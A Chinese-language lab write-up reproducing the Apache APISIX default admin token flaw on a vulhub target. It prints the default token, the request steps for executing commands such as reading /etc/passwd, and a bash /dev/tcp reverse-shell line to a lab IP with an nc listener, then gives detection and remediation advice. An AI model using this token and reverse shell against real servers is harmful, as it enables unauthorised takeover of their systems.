APISIX简介
Apache APISIX是一个高性能API网关。API网关,软件术语,两个相互独立的局域网之间通过路由器进行通信,中间的路由被称之为网关。
任何一个应用系统如果需要被其他系统调用,就需要暴露 API,这些 API 代表着一个一个的功能点。
如果两个系统中间通信,在系统之间加上一个中介者协助 API 的调用,这个中介者就是 API 网关。
那意思就是Apisix是两个系统的一个中介,可以使用这个中间管理系统API。
存在漏洞
在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。意思就是有一个默认的Token,可以直接得到管理员权限,并插入攻击脚本。
漏洞复现
1、打开vulhub靶场
2、访问:ip:9080/apisix/admin/routes,如图出现failed to check token
3、抓包,改为post请求方式,添加
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1请求头和poc
4、访问9080/attack?cmd=cat%20/etc/passwd
Getshell
1、访问地址:http://192.168.18.132:9080/attack?cmd=cat%20/etc/passwd,进行抓包,将cmd后的值替换为:(bash -c "bash -i >& /dev/tcp/192.168.18.134/9999 0>&1")
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.18.134%2F9999%200%3E%261%22
2、在kali虚拟机中开启nc监听,
3、返回burp,点击send,回到kali虚拟机中执行ls
漏洞复测
1 检测方案
查看APISIX组件安装路径下apisix/conf/config.yaml配置文件中,若 allow_admin字段配置了- all,允许任意IP地址访问,并且使用默认的key值,则漏洞存在。
2 修复方案
目前厂商已发布升级补丁修复漏洞,请受影响用户及时更新官方补丁。官方链接如下:https://github.com/apache/apisix/pull/2244
查看APISIX组件安装路径下apisix/conf/config.yaml配置文件,查看allow_admin的值修改为127.0.0.1,只允许本地访问,并且修改admin_key字段下默认的key值为其他值: